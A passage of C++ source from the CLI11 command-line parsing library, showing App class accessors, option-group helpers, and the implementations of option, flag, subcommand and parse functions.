std::dynamic_pointer_cast<ConfigBase>(config_formatter_);\n#else\n        return std::static_pointer_cast<ConfigBase>(config_formatter_);\n#endif\n    }\n\n    /// Get the app or subcommand description\n    CLI11_NODISCARD std::string get_description() const { return description_; }\n\n    /// Set the description of the app\n    App *description(std::string app_description) {\n        description_ = std::move(app_description);\n        return this;\n    }\n\n    /// Get the list of options (user facing function, so returns raw pointers), has optional filter function\n    std::vector<const Option *> get_options(const std::function<bool(const Option *)> filter = {}) const;\n\n    /// Non-const version of the above\n    std::vector<Option *> get_options(const std::function<bool(Option *)> filter = {});\n\n    /// Get an option by name (noexcept non-const version)\n    Option *get_option_no_throw(std::string option_name) noexcept;\n\n    /// Get an option by name (noexcept const version)\n    CLI11_NODISCARD const Option *get_option_no_throw(std::string option_name) const noexcept;\n\n    /// Get an option by name\n    CLI11_NODISCARD const Option *get_option(std::string option_name) const {\n        const auto *opt = get_option_no_throw(option_name);\n        if(opt == nullptr) {\n            throw OptionNotFound(option_name);\n        }\n        return opt;\n    }\n\n    /// Get an option by name (non-const version)\n    Option *get_option(std::string option_name) {\n        auto *opt = get_option_no_throw(option_name);\n        if(opt == nullptr) {\n            throw OptionNotFound(option_name);\n        }\n        return opt;\n    }\n\n    /// Shortcut bracket operator for getting a pointer to an option\n    const Option *operator[](const std::string &option_name) const { return get_option(option_name); }\n\n    /// Shortcut bracket operator for getting a pointer to an option\n    const Option *operator[](const char *option_name) const { return get_option(option_name); }\n\n    /// Check the status of ignore_case\n    CLI11_NODISCARD bool get_ignore_case() const { return ignore_case_; }\n\n    /// Check the status of ignore_underscore\n    CLI11_NODISCARD bool get_ignore_underscore() const { return ignore_underscore_; }\n\n    /// Check the status of fallthrough\n    CLI11_NODISCARD bool get_fallthrough() const { return fallthrough_; }\n\n    /// Check the status of the allow windows style options\n    CLI11_NODISCARD bool get_allow_windows_style_options() const { return allow_windows_style_options_; }\n\n    /// Check the status of the allow windows style options\n    CLI11_NODISCARD bool get_positionals_at_end() const { return positionals_at_end_; }\n\n    /// Check the status of the allow windows style options\n    CLI11_NODISCARD bool get_configurable() const { return configurable_; }\n\n    /// Get the group of this subcommand\n    CLI11_NODISCARD const std::string &get_group() const { return group_; }\n\n    /// Generate and return the footer.\n    CLI11_NODISCARD std::string get_footer() const {\n        return (footer_callback_) ? footer_callback_() + '\\n' + footer_ : footer_;\n    }\n\n    /// Get the required min subcommand value\n    CLI11_NODISCARD std::size_t get_require_subcommand_min() const { return require_subcommand_min_; }\n\n    /// Get the required max subcommand value\n    CLI11_NODISCARD std::size_t get_require_subcommand_max() const { return require_subcommand_max_; }\n\n    /// Get the required min option value\n    CLI11_NODISCARD std::size_t get_require_option_min() const { return require_option_min_; }\n\n    /// Get the required max option value\n    CLI11_NODISCARD std::size_t get_require_option_max() const { return require_option_max_; }\n\n    /// Get the prefix command status\n    CLI11_NODISCARD bool get_prefix_command() const { return prefix_command_; }\n\n    /// Get the status of allow extras\n    CLI11_NODISCARD bool get_allow_extras() const { return allow_extras_; }\n\n    /// Get the status of required\n    CLI11_NODISCARD bool get_required() const { return required_; }\n\n    /// Get the status of disabled\n    CLI11_NODISCARD bool get_disabled() const { return disabled_; }\n\n    /// Get the status of silence\n    CLI11_NODISCARD bool get_silent() const { return silent_; }\n\n    /// Get the status of disabled\n    CLI11_NODISCARD bool get_immediate_callback() const { return immediate_callback_; }\n\n    /// Get the status of disabled by default\n    CLI11_NODISCARD bool get_disabled_by_default() const { return (default_startup == startup_mode::disabled); }\n\n    /// Get the status of disabled by default\n    CLI11_NODISCARD bool get_enabled_by_default() const { return (default_startup == startup_mode::enabled); }\n    /// Get the status of validating positionals\n    CLI11_NODISCARD bool get_validate_positionals() const { return validate_positionals_; }\n    /// Get the status of validating optional vector arguments\n    CLI11_NODISCARD bool get_validate_optional_arguments() const { return validate_optional_arguments_; }\n\n    /// Get the status of allow extras\n    CLI11_NODISCARD config_extras_mode get_allow_config_extras() const { return allow_config_extras_; }\n\n    /// Get a pointer to the help flag.\n    Option *get_help_ptr() { return help_ptr_; }\n\n    /// Get a pointer to the help flag. (const)\n    CLI11_NODISCARD const Option *get_help_ptr() const { return help_ptr_; }\n\n    /// Get a pointer to the help all flag. (const)\n    CLI11_NODISCARD const Option *get_help_all_ptr() const { return help_all_ptr_; }\n\n    /// Get a pointer to the config option.\n    Option *get_config_ptr() { return config_ptr_; }\n\n    /// Get a pointer to the config option. (const)\n    CLI11_NODISCARD const Option *get_config_ptr() const { return config_ptr_; }\n\n    /// Get a pointer to the version option.\n    Option *get_version_ptr() { return version_ptr_; }\n\n    /// Get a pointer to the version option. (const)\n    CLI11_NODISCARD const Option *get_version_ptr() const { return version_ptr_; }\n\n    /// Get the parent of this subcommand (or nullptr if main app)\n    App *get_parent() { return parent_; }\n\n    /// Get the parent of this subcommand (or nullptr if main app) (const version)\n    CLI11_NODISCARD const App *get_parent() const { return parent_; }\n\n    /// Get the name of the current app\n    CLI11_NODISCARD const std::string &get_name() const { return name_; }\n\n    /// Get the aliases of the current app\n    CLI11_NODISCARD const std::vector<std::string> &get_aliases() const { return aliases_; }\n\n    /// clear all the aliases of the current App\n    App *clear_aliases() {\n        aliases_.clear();\n        return this;\n    }\n\n    /// Get a display name for an app\n    CLI11_NODISCARD std::string get_display_name(bool with_aliases = false) const;\n\n    /// Check the name, case insensitive and underscore insensitive if set\n    CLI11_NODISCARD bool check_name(std::string name_to_check) const;\n\n    /// Get the groups available directly from this option (in order)\n    CLI11_NODISCARD std::vector<std::string> get_groups() const;\n\n    /// This gets a vector of pointers with the original parse order\n    CLI11_NODISCARD const std::vector<Option *> &parse_order() const { return parse_order_; }\n\n    /// This returns the missing options from the current subcommand\n    CLI11_NODISCARD std::vector<std::string> remaining(bool recurse = false) const;\n\n    /// This returns the missing options in a form ready for processing by another command line program\n    CLI11_NODISCARD std::vector<std::string> remaining_for_passthrough(bool recurse = false) const;\n\n    /// This returns the number of remaining options, minus the -- separator\n    CLI11_NODISCARD std::size_t remaining_size(bool recurse = false) const;\n\n    ///@}\n\n  protected:\n    /// Check the options to make sure there are no conflicts.\n    ///\n    /// Currently checks to see if multiple positionals exist with unlimited args and checks if the min and max options\n    /// are feasible\n    void _validate() const;\n\n    /// configure subcommands to enable parsing through the current object\n    /// set the correct fallthrough and prefix for nameless subcommands and manage the automatic enable or disable\n    /// makes sure parent is set correctly\n    void _configure();\n\n    /// Internal function to run (App) callback, bottom up\n    void run_callback(bool final_mode = false, bool suppress_final_callback = false);\n\n    /// Check to see if a subcommand is valid. Give up immediately if subcommand max has been reached.\n    CLI11_NODISCARD bool _valid_subcommand(const std::string &current, bool ignore_used = true) const;\n\n    /// Selects a Classifier enum based on the type of the current argument\n    CLI11_NODISCARD detail::Classifier _recognize(const std::string &current,\n                                                  bool ignore_used_subcommands = true) const;\n\n    // The parse function is now broken into several parts, and part of process\n\n    /// Read and process a configuration file (main app only)\n    void _process_config_file();\n\n    /// Get envname options if not yet passed. Runs on *all* subcommands.\n    void _process_env();\n\n    /// Process callbacks. Runs on *all* subcommands.\n    void _process_callbacks();\n\n    /// Run help flag processing if any are found.\n    ///\n    /// The flags allow recursive calls to remember if there was a help flag on a parent.\n    void _process_help_flags(bool trigger_help = false, bool trigger_all_help = false) const;\n\n    /// Verify required options and cross requirements. Subcommands too (only if selected).\n    void _process_requirements();\n\n    /// Process callbacks and such.\n    void _process();\n\n    /// Throw an error if anything is left over and should not be.\n    void _process_extras();\n\n    /// Throw an error if anything is left over and should not be.\n    /// Modifies the args to fill in the missing items before throwing.\n    void _process_extras(std::vector<std::string> &args);\n\n    /// Internal function to recursively increment the parsed counter on the current app as well unnamed subcommands\n    void increment_parsed();\n\n    /// Internal parse function\n    void _parse(std::vector<std::string> &args);\n\n    /// Internal parse function\n    void _parse(std::vector<std::string> &&args);\n\n    /// Internal function to parse a stream\n    void _parse_stream(std::istream &input);\n\n    /// Parse one config param, return false if not found in any subcommand, remove if it is\n    ///\n    /// If this has more than one dot.separated.name, go into the subcommand matching it\n    /// Returns true if it managed to find the option, if false you'll need to remove the arg manually.\n    void _parse_config(const std::vector<ConfigItem> &args);\n\n    /// Fill in a single config option\n    bool _parse_single_config(const ConfigItem &item, std::size_t level = 0);\n\n    /// Parse \"one\" argument (some may eat more than one), delegate to parent if fails, add to missing if missing\n    /// from main return false if the parse has failed and needs to return to parent\n    bool _parse_single(std::vector<std::string> &args, bool &positional_only);\n\n    /// Count the required remaining positional arguments\n    CLI11_NODISCARD std::size_t _count_remaining_positionals(bool required_only = false) const;\n\n    /// Count the required remaining positional arguments\n    CLI11_NODISCARD bool _has_remaining_positionals() const;\n\n    /// Parse a positional, go up the tree to check\n    /// @param haltOnSubcommand if set to true the operation will not process subcommands merely return false\n    /// Return true if the positional was used false otherwise\n    bool _parse_positional(std::vector<std::string> &args, bool haltOnSubcommand);\n\n    /// Locate a subcommand by name with two conditions, should disabled subcommands be ignored, and should used\n    /// subcommands be ignored\n    CLI11_NODISCARD App *\n    _find_subcommand(const std::string &subc_name, bool ignore_disabled, bool ignore_used) const noexcept;\n\n    /// Parse a subcommand, modify args and continue\n    ///\n    /// Unlike the others, this one will always allow fallthrough\n    /// return true if the subcommand was processed false otherwise\n    bool _parse_subcommand(std::vector<std::string> &args);\n\n    /// Parse a short (false) or long (true) argument, must be at the top of the list\n    /// return true if the argument was processed or false if nothing was done\n    bool _parse_arg(std::vector<std::string> &args, detail::Classifier current_type);\n\n    /// Trigger the pre_parse callback if needed\n    void _trigger_pre_parse(std::size_t remaining_args);\n\n    /// Get the appropriate parent to fallthrough to which is the first one that has a name or the main app\n    App *_get_fallthrough_parent();\n\n    /// Helper function to run through all possible comparisons of subcommand names to check there is no overlap\n    CLI11_NODISCARD const std::string &_compare_subcommand_names(const App &subcom, const App &base) const;\n\n    /// Helper function to place extra values in the most appropriate position\n    void _move_to_missing(detail::Classifier val_type, const std::string &val);\n\n  public:\n    /// function that could be used by subclasses of App to shift options around into subcommands\n    void _move_option(Option *opt, App *app);\n};  // namespace CLI\n\n/// Extension of App to better manage groups of options\nclass Option_group : public App {\n  public:\n    Option_group(std::string group_description, std::string group_name, App *parent)\n        : App(std::move(group_description), \"\", parent) {\n        group(group_name);\n        // option groups should have automatic fallthrough\n    }\n    using App::add_option;\n    /// Add an existing option to the Option_group\n    Option *add_option(Option *opt) {\n        if(get_parent() == nullptr) {\n            throw OptionNotFound(\"Unable to locate the specified option\");\n        }\n        get_parent()->_move_option(opt, this);\n        return opt;\n    }\n    /// Add an existing option to the Option_group\n    void add_options(Option *opt) { add_option(opt); }\n    /// Add a bunch of options to the group\n    template <typename... Args> void add_options(Option *opt, Args... args) {\n        add_option(opt);\n        add_options(args...);\n    }\n    using App::add_subcommand;\n    /// Add an existing subcommand to be a member of an option_group\n    App *add_subcommand(App *subcom) {\n        App_p subc = subcom->get_parent()->get_subcommand_ptr(subcom);\n        subc->get_parent()->remove_subcommand(subcom);\n        add_subcommand(std::move(subc));\n        return subcom;\n    }\n};\n\n/// Helper function to enable one option group/subcommand when another is used\nCLI11_INLINE void TriggerOn(App *trigger_app, App *app_to_enable);\n\n/// Helper function to enable one option group/subcommand when another is used\nCLI11_INLINE void TriggerOn(App *trigger_app, std::vector<App *> apps_to_enable);\n\n/// Helper function to disable one option group/subcommand when another is used\nCLI11_INLINE void TriggerOff(App *trigger_app, App *app_to_enable);\n\n/// Helper function to disable one option group/subcommand when another is used\nCLI11_INLINE void TriggerOff(App *trigger_app, std::vector<App *> apps_to_enable);\n\n/// Helper function to mark an option as deprecated\nCLI11_INLINE void deprecate_option(Option *opt, const std::string &replacement = \"\");\n\n/// Helper function to mark an option as deprecated\ninline void deprecate_option(App *app, const std::string &option_name, const std::string &replacement = \"\") {\n    auto *opt = app->get_option(option_name);\n    deprecate_option(opt, replacement);\n}\n\n/// Helper function to mark an option as deprecated\ninline void deprecate_option(App &app, const std::string &option_name, const std::string &replacement = \"\") {\n    auto *opt = app.get_option(option_name);\n    deprecate_option(opt, replacement);\n}\n\n/// Helper function to mark an option as retired\nCLI11_INLINE void retire_option(App *app, Option *opt);\n\n/// Helper function to mark an option as retired\nCLI11_INLINE void retire_option(App &app, Option *opt);\n\n/// Helper function to mark an option as retired\nCLI11_INLINE void retire_option(App *app, const std::string &option_name);\n\n/// Helper function to mark an option as retired\nCLI11_INLINE void retire_option(App &app, const std::string &option_name);\n\nnamespace detail {\n/// This class is simply to allow tests access to App's protected functions\nstruct AppFriend {\n#ifdef CLI11_CPP14\n\n    /// Wrap _parse_short, perfectly forward arguments and return\n    template <typename... Args> static decltype(auto) parse_arg(App *app, Args &&...args) {\n        return app->_parse_arg(std::forward<Args>(args)...);\n    }\n\n    /// Wrap _parse_subcommand, perfectly forward arguments and return\n    template <typename... Args> static decltype(auto) parse_subcommand(App *app, Args &&...args) {\n        return app->_parse_subcommand(std::forward<Args>(args)...);\n    }\n#else\n    /// Wrap _parse_short, perfectly forward arguments and return\n    template <typename... Args>\n    static auto parse_arg(App *app, Args &&...args) ->\n        typename std::result_of<decltype (&App::_parse_arg)(App, Args...)>::type {\n        return app->_parse_arg(std::forward<Args>(args)...);\n    }\n\n    /// Wrap _parse_subcommand, perfectly forward arguments and return\n    template <typename... Args>\n    static auto parse_subcommand(App *app, Args &&...args) ->\n        typename std::result_of<decltype (&App::_parse_subcommand)(App, Args...)>::type {\n        return app->_parse_subcommand(std::forward<Args>(args)...);\n    }\n#endif\n    /// Wrap the fallthrough parent function to make sure that is working correctly\n    static App *get_fallthrough_parent(App *app) { return app->_get_fallthrough_parent(); }\n};\n}  // namespace detail\n\n\n\n\nCLI11_INLINE App::App(std::string app_description, std::string app_name, App *parent)\n    : name_(std::move(app_name)), description_(std::move(app_description)), parent_(parent) {\n    // Inherit if not from a nullptr\n    if(parent_ != nullptr) {\n        if(parent_->help_ptr_ != nullptr)\n            set_help_flag(parent_->help_ptr_->get_name(false, true), parent_->help_ptr_->get_description());\n        if(parent_->help_all_ptr_ != nullptr)\n            set_help_all_flag(parent_->help_all_ptr_->get_name(false, true), parent_->help_all_ptr_->get_description());\n\n        /// OptionDefaults\n        option_defaults_ = parent_->option_defaults_;\n\n        // INHERITABLE\n        failure_message_ = parent_->failure_message_;\n        allow_extras_ = parent_->allow_extras_;\n        allow_config_extras_ = parent_->allow_config_extras_;\n        prefix_command_ = parent_->prefix_command_;\n        immediate_callback_ = parent_->immediate_callback_;\n        ignore_case_ = parent_->ignore_case_;\n        ignore_underscore_ = parent_->ignore_underscore_;\n        fallthrough_ = parent_->fallthrough_;\n        validate_positionals_ = parent_->validate_positionals_;\n        validate_optional_arguments_ = parent_->validate_optional_arguments_;\n        configurable_ = parent_->configurable_;\n        allow_windows_style_options_ = parent_->allow_windows_style_options_;\n        group_ = parent_->group_;\n        footer_ = parent_->footer_;\n        formatter_ = parent_->formatter_;\n        config_formatter_ = parent_->config_formatter_;\n        require_subcommand_max_ = parent_->require_subcommand_max_;\n    }\n}\n\nCLI11_INLINE App *App::name(std::string app_name) {\n\n    if(parent_ != nullptr) {\n        auto oname = name_;\n        name_ = app_name;\n        const auto &res = _compare_subcommand_names(*this, *_get_fallthrough_parent());\n        if(!res.empty()) {\n            name_ = oname;\n            throw(OptionAlreadyAdded(app_name + \" conflicts with existing subcommand names\"));\n        }\n    } else {\n        name_ = app_name;\n    }\n    has_automatic_name_ = false;\n    return this;\n}\n\nCLI11_INLINE App *App::alias(std::string app_name) {\n    if(app_name.empty() || !detail::valid_alias_name_string(app_name)) {\n        throw IncorrectConstruction(\"Aliases may not be empty or contain newlines or null characters\");\n    }\n    if(parent_ != nullptr) {\n        aliases_.push_back(app_name);\n        const auto &res = _compare_subcommand_names(*this, *_get_fallthrough_parent());\n        if(!res.empty()) {\n            aliases_.pop_back();\n            throw(OptionAlreadyAdded(\"alias already matches an existing subcommand: \" + app_name));\n        }\n    } else {\n        aliases_.push_back(app_name);\n    }\n\n    return this;\n}\n\nCLI11_INLINE App *App::immediate_callback(bool immediate) {\n    immediate_callback_ = immediate;\n    if(immediate_callback_) {\n        if(final_callback_ && !(parse_complete_callback_)) {\n            std::swap(final_callback_, parse_complete_callback_);\n        }\n    } else if(!(final_callback_) && parse_complete_callback_) {\n        std::swap(final_callback_, parse_complete_callback_);\n    }\n    return this;\n}\n\nCLI11_INLINE App *App::ignore_case(bool value) {\n    if(value && !ignore_case_) {\n        ignore_case_ = true;\n        auto *p = (parent_ != nullptr) ? _get_fallthrough_parent() : this;\n        const auto &match = _compare_subcommand_names(*this, *p);\n        if(!match.empty()) {\n            ignore_case_ = false;  // we are throwing so need to be exception invariant\n            throw OptionAlreadyAdded(\"ignore case would cause subcommand name conflicts: \" + match);\n        }\n    }\n    ignore_case_ = value;\n    return this;\n}\n\nCLI11_INLINE App *App::ignore_underscore(bool value) {\n    if(value && !ignore_underscore_) {\n        ignore_underscore_ = true;\n        auto *p = (parent_ != nullptr) ? _get_fallthrough_parent() : this;\n        const auto &match = _compare_subcommand_names(*this, *p);\n        if(!match.empty()) {\n            ignore_underscore_ = false;\n            throw OptionAlreadyAdded(\"ignore underscore would cause subcommand name conflicts: \" + match);\n        }\n    }\n    ignore_underscore_ = value;\n    return this;\n}\n\nCLI11_INLINE Option *App::add_option(std::string option_name,\n                                     callback_t option_callback,\n                                     std::string option_description,\n                                     bool defaulted,\n                                     std::function<std::string()> func) {\n    Option myopt{option_name, option_description, option_callback, this};\n\n    if(std::find_if(std::begin(options_), std::end(options_), [&myopt](const Option_p &v) { return *v == myopt; }) ==\n       std::end(options_)) {\n        options_.emplace_back();\n        Option_p &option = options_.back();\n        option.reset(new Option(option_name, option_description, option_callback, this));\n\n        // Set the default string capture function\n        option->default_function(func);\n\n        // For compatibility with CLI11 1.7 and before, capture the default string here\n        if(defaulted)\n            option->capture_default_str();\n\n        // Transfer defaults to the new option\n        option_defaults_.copy_to(option.get());\n\n        // Don't bother to capture if we already did\n        if(!defaulted && option->get_always_capture_default())\n            option->capture_default_str();\n\n        return option.get();\n    }\n    // we know something matches now find what it is so we can produce more error information\n    for(auto &opt : options_) {\n        const auto &matchname = opt->matching_name(myopt);\n        if(!matchname.empty()) {\n            throw(OptionAlreadyAdded(\"added option matched existing option name: \" + matchname));\n        }\n    }\n    // this line should not be reached the above loop should trigger the throw\n    throw(OptionAlreadyAdded(\"added option matched existing option name\"));  // LCOV_EXCL_LINE\n}\n\nCLI11_INLINE Option *App::set_help_flag(std::string flag_name, const std::string &help_description) {\n    // take flag_description by const reference otherwise add_flag tries to assign to help_description\n    if(help_ptr_ != nullptr) {\n        remove_option(help_ptr_);\n        help_ptr_ = nullptr;\n    }\n\n    // Empty name will simply remove the help flag\n    if(!flag_name.empty()) {\n        help_ptr_ = add_flag(flag_name, help_description);\n        help_ptr_->configurable(false);\n    }\n\n    return help_ptr_;\n}\n\nCLI11_INLINE Option *App::set_help_all_flag(std::string help_name, const std::string &help_description) {\n    // take flag_description by const reference otherwise add_flag tries to assign to flag_description\n    if(help_all_ptr_ != nullptr) {\n        remove_option(help_all_ptr_);\n        help_all_ptr_ = nullptr;\n    }\n\n    // Empty name will simply remove the help all flag\n    if(!help_name.empty()) {\n        help_all_ptr_ = add_flag(help_name, help_description);\n        help_all_ptr_->configurable(false);\n    }\n\n    return help_all_ptr_;\n}\n\nCLI11_INLINE Option *\nApp::set_version_flag(std::string flag_name, const std::string &versionString, const std::string &version_help) {\n    // take flag_description by const reference otherwise add_flag tries to assign to version_description\n    if(version_ptr_ != nullptr) {\n        remove_option(version_ptr_);\n        version_ptr_ = nullptr;\n    }\n\n    // Empty name will simply remove the version flag\n    if(!flag_name.empty()) {\n        version_ptr_ = add_flag_callback(\n            flag_name, [versionString]() { throw(CLI::CallForVersion(versionString, 0)); }, version_help);\n        version_ptr_->configurable(false);\n    }\n\n    return version_ptr_;\n}\n\nCLI11_INLINE Option *\nApp::set_version_flag(std::string flag_name, std::function<std::string()> vfunc, const std::string &version_help) {\n    if(version_ptr_ != nullptr) {\n        remove_option(version_ptr_);\n        version_ptr_ = nullptr;\n    }\n\n    // Empty name will simply remove the version flag\n    if(!flag_name.empty()) {\n        version_ptr_ = add_flag_callback(\n            flag_name, [vfunc]() { throw(CLI::CallForVersion(vfunc(), 0)); }, version_help);\n        version_ptr_->configurable(false);\n    }\n\n    return version_ptr_;\n}\n\nCLI11_INLINE Option *App::_add_flag_internal(std::string flag_name, CLI::callback_t fun, std::string flag_description) {\n    Option *opt = nullptr;\n    if(detail::has_default_flag_values(flag_name)) {\n        // check for default values and if it has them\n        auto flag_defaults = detail::get_default_flag_values(flag_name);\n        detail::remove_default_flag_values(flag_name);\n        opt = add_option(std::move(flag_name), std::move(fun), std::move(flag_description), false);\n        for(const auto &fname : flag_defaults)\n            opt->fnames_.push_back(fname.first);\n        opt->default_flag_values_ = std::move(flag_defaults);\n    } else {\n        opt = add_option(std::move(flag_name), std::move(fun), std::move(flag_description), false);\n    }\n    // flags cannot have positional values\n    if(opt->get_positional()) {\n        auto pos_name = opt->get_name(true);\n        remove_option(opt);\n        throw IncorrectConstruction::PositionalFlag(pos_name);\n    }\n    opt->multi_option_policy(MultiOptionPolicy::TakeLast);\n    opt->expected(0);\n    opt->required(false);\n    return opt;\n}\n\nCLI11_INLINE Option *App::add_flag_callback(std::string flag_name,\n                                            std::function<void(void)> function,  ///< A function to call, void(void)\n                                            std::string flag_description) {\n\n    CLI::callback_t fun = [function](const CLI::results_t &res) {\n        using CLI::detail::lexical_cast;\n        bool trigger{false};\n        auto result = lexical_cast(res[0], trigger);\n        if(result && trigger) {\n            function();\n        }\n        return result;\n    };\n    return _add_flag_internal(flag_name, std::move(fun), std::move(flag_description));\n}\n\nCLI11_INLINE Option *\nApp::add_flag_function(std::string flag_name,\n                       std::function<void(std::int64_t)> function,  ///< A function to call, void(int)\n                       std::string flag_description) {\n\n    CLI::callback_t fun = [function](const CLI::results_t &res) {\n        using CLI::detail::lexical_cast;\n        std::int64_t flag_count{0};\n        lexical_cast(res[0], flag_count);\n        function(flag_count);\n        return true;\n    };\n    return _add_flag_internal(flag_name, std::move(fun), std::move(flag_description))\n        ->multi_option_policy(MultiOptionPolicy::Sum);\n}\n\nCLI11_INLINE Option *App::set_config(std::string option_name,\n                                     std::string default_filename,\n                                     const std::string &help_message,\n                                     bool config_required) {\n\n    // Remove existing config if present\n    if(config_ptr_ != nullptr) {\n        remove_option(config_ptr_);\n        config_ptr_ = nullptr;  // need to remove the config_ptr completely\n    }\n\n    // Only add config if option passed\n    if(!option_name.empty()) {\n        config_ptr_ = add_option(option_name, help_message);\n        if(config_required) {\n            config_ptr_->required();\n        }\n        if(!default_filename.empty()) {\n            config_ptr_->default_str(std::move(default_filename));\n        }\n        config_ptr_->configurable(false);\n    }\n\n    return config_ptr_;\n}\n\nCLI11_INLINE bool App::remove_option(Option *opt) {\n    // Make sure no links exist\n    for(Option_p &op : options_) {\n        op->remove_needs(opt);\n        op->remove_excludes(opt);\n    }\n\n    if(help_ptr_ == opt)\n        help_ptr_ = nullptr;\n    if(help_all_ptr_ == opt)\n        help_all_ptr_ = nullptr;\n\n    auto iterator =\n        std::find_if(std::begin(options_), std::end(options_), [opt](const Option_p &v) { return v.get() == opt; });\n    if(iterator != std::end(options_)) {\n        options_.erase(iterator);\n        return true;\n    }\n    return false;\n}\n\nCLI11_INLINE App *App::add_subcommand(std::string subcommand_name, std::string subcommand_description) {\n    if(!subcommand_name.empty() && !detail::valid_name_string(subcommand_name)) {\n        if(!detail::valid_first_char(subcommand_name[0])) {\n            throw IncorrectConstruction(\"Subcommand name starts with invalid character, '!' and '-' are not allowed\");\n        }\n        for(auto c : subcommand_name) {\n            if(!detail::valid_later_char(c)) {\n                throw IncorrectConstruction(std::string(\"Subcommand name contains invalid character ('\") + c +\n                                            \"'), all characters are allowed except\"\n                                            \"'=',':','{','}', and ' '\");\n            }\n        }\n    }\n    CLI::App_p subcom = std::shared_ptr<App>(new App(std::move(subcommand_description), subcommand_name, this));\n    return add_subcommand(std::move(subcom));\n}\n\nCLI11_INLINE App *App::add_subcommand(CLI::App_p subcom) {\n    if(!subcom)\n        throw IncorrectConstruction(\"passed App is not valid\");\n    auto *ckapp = (name_.empty() && parent_ != nullptr) ? _get_fallthrough_parent() : this;\n    const auto &mstrg = _compare_subcommand_names(*subcom, *ckapp);\n    if(!mstrg.empty()) {\n        throw(OptionAlreadyAdded(\"subcommand name or alias matches existing subcommand: \" + mstrg));\n    }\n    subcom->parent_ = this;\n    subcommands_.push_back(std::move(subcom));\n    return subcommands_.back().get();\n}\n\nCLI11_INLINE bool App::remove_subcommand(App *subcom) {\n    // Make sure no links exist\n    for(App_p &sub : subcommands_) {\n        sub->remove_excludes(subcom);\n        sub->remove_needs(subcom);\n    }\n\n    auto iterator = std::find_if(\n        std::begin(subcommands_), std::end(subcommands_), [subcom](const App_p &v) { return v.get() == subcom; });\n    if(iterator != std::end(subcommands_)) {\n        subcommands_.erase(iterator);\n        return true;\n    }\n    return false;\n}\n\nCLI11_INLINE App *App::get_subcommand(const App *subcom) const {\n    if(subcom == nullptr)\n        throw OptionNotFound(\"nullptr passed\");\n    for(const App_p &subcomptr : subcommands_)\n        if(subcomptr.get() == subcom)\n            return subcomptr.get();\n    throw OptionNotFound(subcom->get_name());\n}\n\nCLI11_NODISCARD CLI11_INLINE App *App::get_subcommand(std::string subcom) const {\n    auto *subc = _find_subcommand(subcom, false, false);\n    if(subc == nullptr)\n        throw OptionNotFound(subcom);\n    return subc;\n}\n\nCLI11_NODISCARD CLI11_INLINE App *App::get_subcommand(int index) const {\n    if(index >= 0) {\n        auto uindex = static_cast<unsigned>(index);\n        if(uindex < subcommands_.size())\n            return subcommands_[uindex].get();\n    }\n    throw OptionNotFound(std::to_string(index));\n}\n\nCLI11_INLINE CLI::App_p App::get_subcommand_ptr(App *subcom) const {\n    if(subcom == nullptr)\n        throw OptionNotFound(\"nullptr passed\");\n    for(const App_p &subcomptr : subcommands_)\n        if(subcomptr.get() == subcom)\n            return subcomptr;\n    throw OptionNotFound(subcom->get_name());\n}\n\nCLI11_NODISCARD CLI11_INLINE CLI::App_p App::get_subcommand_ptr(std::string subcom) const {\n    for(const App_p &subcomptr : subcommands_)\n        if(subcomptr->check_name(subcom))\n            return subcomptr;\n    throw OptionNotFound(subcom);\n}\n\nCLI11_NODISCARD CLI11_INLINE CLI::App_p App::get_subcommand_ptr(int index) const {\n    if(index >= 0) {\n        auto uindex = static_cast<unsigned>(index);\n        if(uindex < subcommands_.size())\n            return subcommands_[uindex];\n    }\n    throw OptionNotFound(std::to_string(index));\n}\n\nCLI11_NODISCARD CLI11_INLINE CLI::App *App::get_option_group(std::string group_name) const {\n    for(const App_p &app : subcommands_) {\n        if(app->name_.empty() && app->group_ == group_name) {\n            return app.get();\n        }\n    }\n    throw OptionNotFound(group_name);\n}\n\nCLI11_NODISCARD CLI11_INLINE std::size_t App::count_all() const {\n    std::size_t cnt{0};\n    for(const auto &opt : options_) {\n        cnt += opt->count();\n    }\n    for(const auto &sub : subcommands_) {\n        cnt += sub->count_all();\n    }\n    if(!get_name().empty()) {  // for named subcommands add the number of times the subcommand was called\n        cnt += parsed_;\n    }\n    return cnt;\n}\n\nCLI11_INLINE void App::clear() {\n\n    parsed_ = 0;\n    pre_parse_called_ = false;\n\n    missing_.clear();\n    parsed_subcommands_.clear();\n    for(const Option_p &opt : options_) {\n        opt->clear();\n    }\n    for(const App_p &subc : subcommands_) {\n        subc->clear();\n    }\n}\n\nCLI11_INLINE void App::parse(int argc, const char *const *argv) {\n    // If the name is not set, read from command line\n    if(name_.empty() || has_automatic_name_) {\n        has_automatic_name_ = true;\n        name_ = argv[0];\n    }\n\n    std::vector<std::string> args;\n    args.reserve(static_cast<std::size_t>(argc) - 1U);\n    for(auto i = static_cast<std::size_t>(argc) - 1U; i > 0U; --i)\n        args.emplace_back(argv[i]);\n    parse(std::move(args));\n}\n\nCLI11_INLINE void App::parse(std::string commandline, bool program_name_included) {\n\n    if(program_name_included) {\n        auto nstr = detail::split_program_name(commandline);\n        if((name_.empty()) || (has_automatic_name_)) {\n            has_automatic_name_ = true;\n            name_ = nstr.first;\n        }\n        commandline = std::move(nstr.second);\n    } else {\n        detail::trim(commandline);\n    }\n    // the next section of code is to deal with quoted arguments after an '=' or ':' for windows like operations\n    if(!commandline.empty()) {\n        commandline = detail::find_and_modify(commandline, \"=\", detail::escape_detect);\n        if(allow_windows_style_options_)\n            commandline = detail::find_and_modify(commandline, \":\", detail::escape_detect);\n    }\n\n    auto args = detail::split_up(std::move(commandline));\n    // remove all empty strings\n    args.erase(std::remove(args.begin(), args.end(), std::string{}), args.end());\n    std::reverse(args.begin(), args.end());\n\n    parse(std::move(args));\n}\n\nCLI11_INLINE void App::parse(std::vector<std::string> &args) {\n    // Clear if parsed\n    if(parsed_ > 0)\n        clear();\n\n    // parsed_ is incremented in commands/subcommands,\n    // but placed here to make sure this is cleared when\n    // running parse after an error is thrown, even by _validate or _configure.\n    parsed_ = 1;\n    _validate();\n    _configure();\n    // set the parent as nullptr as this object should be the top now\n    parent_ = nullptr;\n    parsed_ = 0;\n\n    _parse(args);\n    run_callback();\n}\n\nCLI11_INLINE void App::parse(std::vector<std::string> &&args) {\n    // Clear if parsed\n    if(parsed_ > 0)\n        clear();\n\n    // parsed_ is incremented in commands/subcommands,\n    // but placed here to make sure this is cleared when\n    // running parse after an error is thrown, even by _validate or _configure.\n    parsed_ = 1;\n    _validate();\n    _configure();\n    // set the parent as nullptr as this object should be the top now\n    parent_ = nullptr;\n    parsed_ = 0;\n\n    _parse(std::move(args));\n    run_callback();\n}\n\nCLI11_INLINE void App::parse_from_stream(std::istream 